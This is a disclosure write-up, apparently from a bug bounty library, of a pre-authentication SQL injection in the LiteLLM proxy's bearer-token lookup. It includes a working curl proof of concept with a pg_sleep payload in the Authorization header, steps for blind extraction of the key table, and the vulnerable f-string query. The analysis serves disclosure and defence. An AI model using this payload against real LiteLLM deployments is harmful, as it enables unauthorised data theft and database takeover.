# CVE-2026-42208: Pre-Authentication SQL Injection in LiteLLM Proxy

Unauthenticated f-string SQL injection in LiteLLM's bearer-token lookup lets attackers extract the virtual-key table via pg_sleep timing, exploited in the wild within 36 hours.

- Payout: Real-world hack
- Severity: critical
- Program: LiteLLM
- Analysis by: Tencent YunDing Security Lab
- Disclosed: 2026-05-06
- CVE: CVE-2026-42208
- Write-up quality: 9/10
- Original: https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:incident platform:research sev:critical tech:python technique:blind technique:source-review vuln:auth-bypass vuln:sqli

**Target:** LiteLLM proxy auth path / PostgreSQL backend
**Root cause:** PrismaClient.get_data() builds the combined_view lookup with an f-string interpolating the bearer token instead of a bound parameter; _hash_token_if_needed only hashes values starting with 'sk-', so a non-sk- bearer reaches the SQL sink verbatim via the auth-failure callback.
**Steps:**
1. Send `curl -X POST https://TARGET/v1/chat/completions -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" -H "Content-Type: application/json" -d '{"model":"x","messages":[{"role":"user","content":"x"}]}'`
2. Observe HTTP 401 returned after ~6 seconds on vulnerable hosts vs <100ms patched
3. Repeat 2-3 times to rule out WAF tarpit/jitter
4. Binary-search with pg_sleep conditions to extract LiteLLM_VerificationToken rows
**How found:** Source review of the auth path: noticed the assert guard's failure mode dispatches to a generic exception handler that re-injects the unsanitized bearer six frames away into get_data(); also flagged the misnamed api_key_hash variable holding a raw token, and the -O assertion-stripping path.
**Exploitation:** Any unauthenticated LLM API route (/v1/chat/completions etc.) triggers the auth dispatcher; the assert on sk- prefix raises AssertionError, caught by generic handler that calls post_call_failure_hook -> _ProxyDBLogger.async_post_call_failure_hook -> _enrich_failure_metadata_with_key_info with the raw bearer, reaching the f-string sink. Response body is a fixed 401, so only a time-based blind channel via pg_sleep leaks data; stock Docker compose deployment with default Postgres image sidecar runs the application user as database superuser, enabling full read/write over all LiteLLM tables.
**Escalation:** Default Postgres superuser privileges turn metadata read into full read/write across every LiteLLM-managed table; recovered key aliases/owners/budgets feed follow-on social engineering even without plaintext key recovery.
**Insight:** Grep for f-string SQL sinks reachable from exception/failure-callback paths, not just happy-path handlers; a defensive assert whose failure is caught by a generic handler can re-introduce the untrusted input downstream. Also distrust variable names like *_hash that may hold raw values.

## Proof of concept (copied exactly from the original report)

**Timed curl probe with pg_sleep SQLi payload**

```
$ time curl -X POST https://TARGET/v1/chat/completions \ 
 -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \ 
 -H "Content-Type: application/json" \ 
 -d '{"model":"x","messages":[{"role":"user","content":"x"}]}' 
 
...omitted for brevity... 
0.00s user 0.01s system 0% cpu 6.058 total
```

**Injected bearer payload in WHERE clause**

```
WHERE v.token = '' OR (SELECT pg_sleep(6)) IS NULL --'
```

**Vulnerable f-string SQL query construction**

```
sql_query = f""" 

  SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, ... 
  FROM "LiteLLM_VerificationToken" AS v 
  LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id 
  LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id 
  LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id 
  LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id 
  LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id 
  WHERE v.token = '{token}' 
""" 
response = await self._query_first_with_cached_plan_fallback(sql_query
```

